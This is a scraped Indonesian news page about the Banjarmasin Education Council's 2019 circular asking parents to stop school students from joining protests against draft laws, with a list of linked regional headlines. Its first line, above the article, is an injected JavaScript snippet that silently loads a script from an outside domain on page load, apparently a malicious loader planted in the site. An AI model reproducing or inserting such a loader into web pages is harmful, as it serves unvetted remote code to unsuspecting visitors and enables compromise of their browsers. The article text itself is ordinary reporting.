(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Gelombang penolakan terhadap sejumlah Rancangan Undang-Undang (RUU) ke DPR, selain unsur mahasiswa dan elemen masyarakat lainnya, turut serta para pelajar melakukan aksi dengan tuntutan yang sama.
Tak mau pelajar di kota Banjarmasin terjun terlibat ikut-ikutan gelombang itu, sebuah edaran dari Dewan Pendidikan Kota Banjarmasin beredar di dunia maya, terkhususnya di jejaring aplikasi WhatsApp.
Isi edaran tersebut adalah tentang ajakan kepada orangtua yang memiliki putra putri pelajar baik SMP dan SMA sederajat di wilayah kota Banjarmasin untuk turut mengambil sikap dan kebijakan. Hal ini merupakan tanggapan Dewan Pendidikan Kota Banjarmasin atas adanya seruan Siswa-Siswi Indonesia Bergerak pada hari Senin yang akan berlangsung 30 September 2019.
Ketika dikonfirmasi, Muhammad Idrus, Dewan Pendidikan Kota Banjarmasin membenarkan edaran tersebut. “Jadi kami turut mengimbau saja apabila memang terjadi ada aksi demo tersebut. Karena maraknya berita-berita yang beredar,†ujarnya.
Adapun edaran tersebut berisi lima poin, yaitu agar para orangtua murid tidak mengizinkan dan melarang para pelajar/anak didik untuk mengikuti gerakan Siswa-siswi Indonesia Bergerak. Kemudian agar para orangtua juga tigak mendukung gerakan tersebut, karena hal tersebut bukan kewajiban pelajar untuk melakukan kegiatan tersebut.
Poin ketiga kembali menegaskan bahwa tugas pelajar adalah sekolah dan belajar untuk masa depan dan para siswa-siswi ini bukan pelaku demo. Selanjutnya, dalam edaran tersebut juga diharapkan dengan sangat supaya para generasi bangsa dibiarkan tumbuh dan berkembang dengan benar, berpikiran sehat, serta diberikan jaminan keselamatan dan keamanan untuk melakukan kegiatan belajar mengajar di sekolah.
Di poin terakhir, diterangkan bahwa aksi turun ke jalan telah meresahkan masyarakat dan berpotensi mengganggu kepentingan masyarakat luas serta sangat rawan keributan dan bentrokan yang berakibat pada keselamatan masyarakat umum dan pelajar pada khususnya.
Sebelumnya pada aksi demo gabungan mahasiswa yang berlangsung Kamis (26/9) di halaman DPRD Kalsel diduga sejumlah pelajar menengah atas ikut terlibat bersama kakak-kakaknya.
Saat demo, anak-anak pelajar ini datang lengkap dengan membawa bendera merah putih serta bendera hitam besar dengan logo anarko tertera. Bahkan anak STM ini disambut baik oleh kakak mereka mahasiswa dan ikut diberi kesempatan untuk maju dan berorasi. Dua orang perwakilan STM maju, salah satu anak STM langsung dipinjamkan almamater oleh salah seorang mahasiswa UIN Antasari. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.